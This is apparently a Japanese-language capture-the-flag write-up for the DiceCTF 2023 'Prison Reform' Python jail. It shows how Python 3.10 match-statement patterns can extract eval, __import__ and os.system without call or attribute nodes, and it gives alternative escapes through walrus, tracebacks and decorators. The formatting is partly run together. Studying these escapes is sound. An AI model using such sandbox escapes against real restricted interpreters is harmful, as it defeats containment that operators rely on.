DiceCTF 2023 - Prison Reform
Challenge
Python 3.10+ の環境で、特定の構文が制限されている。
# Python 3.10+import ast
code = input()tree = ast.parse(code)
FORBIDDEN = {ast.Call, ast.Attribute}
for node in ast.walk(tree): if type(node) in FORBIDDEN: print("Forbidden!") exit()
exec(code)Solution
match 文の利用
Python 3.10 で導入された match 文を使用:
match __builtins__: case {'eval': e}: pass
# e に eval 関数がバインドされるパターンマッチングによる属性抽出
match obj: case type(__class__=c): pass
# c に obj.__class__ がバインドされる完全なペイロード
match __builtins__: case {'__import__': i}: pass
match i('os'): case type(system=s): pass
# s('id') を実行# ただし Call が禁止されている場合は別の方法が必要Technical Details
match 文の AST
import ast
code = """match x: case y: pass"""tree = ast.parse(code)# Match(subject=Name(id='x'), cases=[...])パターンの種類
| パターン | 例 |
|---|---|
| Capture | case x: |
| Mapping | case {'key': v}: |
| Class | case type(attr=x): |
| Sequence | case [a, b]: |
| OR | case a | b: |
Call なしでの関数実行
# デコレータを使用@funcclass X: passAlternative Solutions
別解1: walrus 演算子との組み合わせ
match [x := __builtins__]: case _: pass別解2: 例外からのフレーム取得
try: raise ValueErrorexcept ValueError as e: match e: case type(__traceback__=tb): passFlag
dice{...}
References
- DiceCTF 2023 Official
- PEP 634 (Structural Pattern Matching)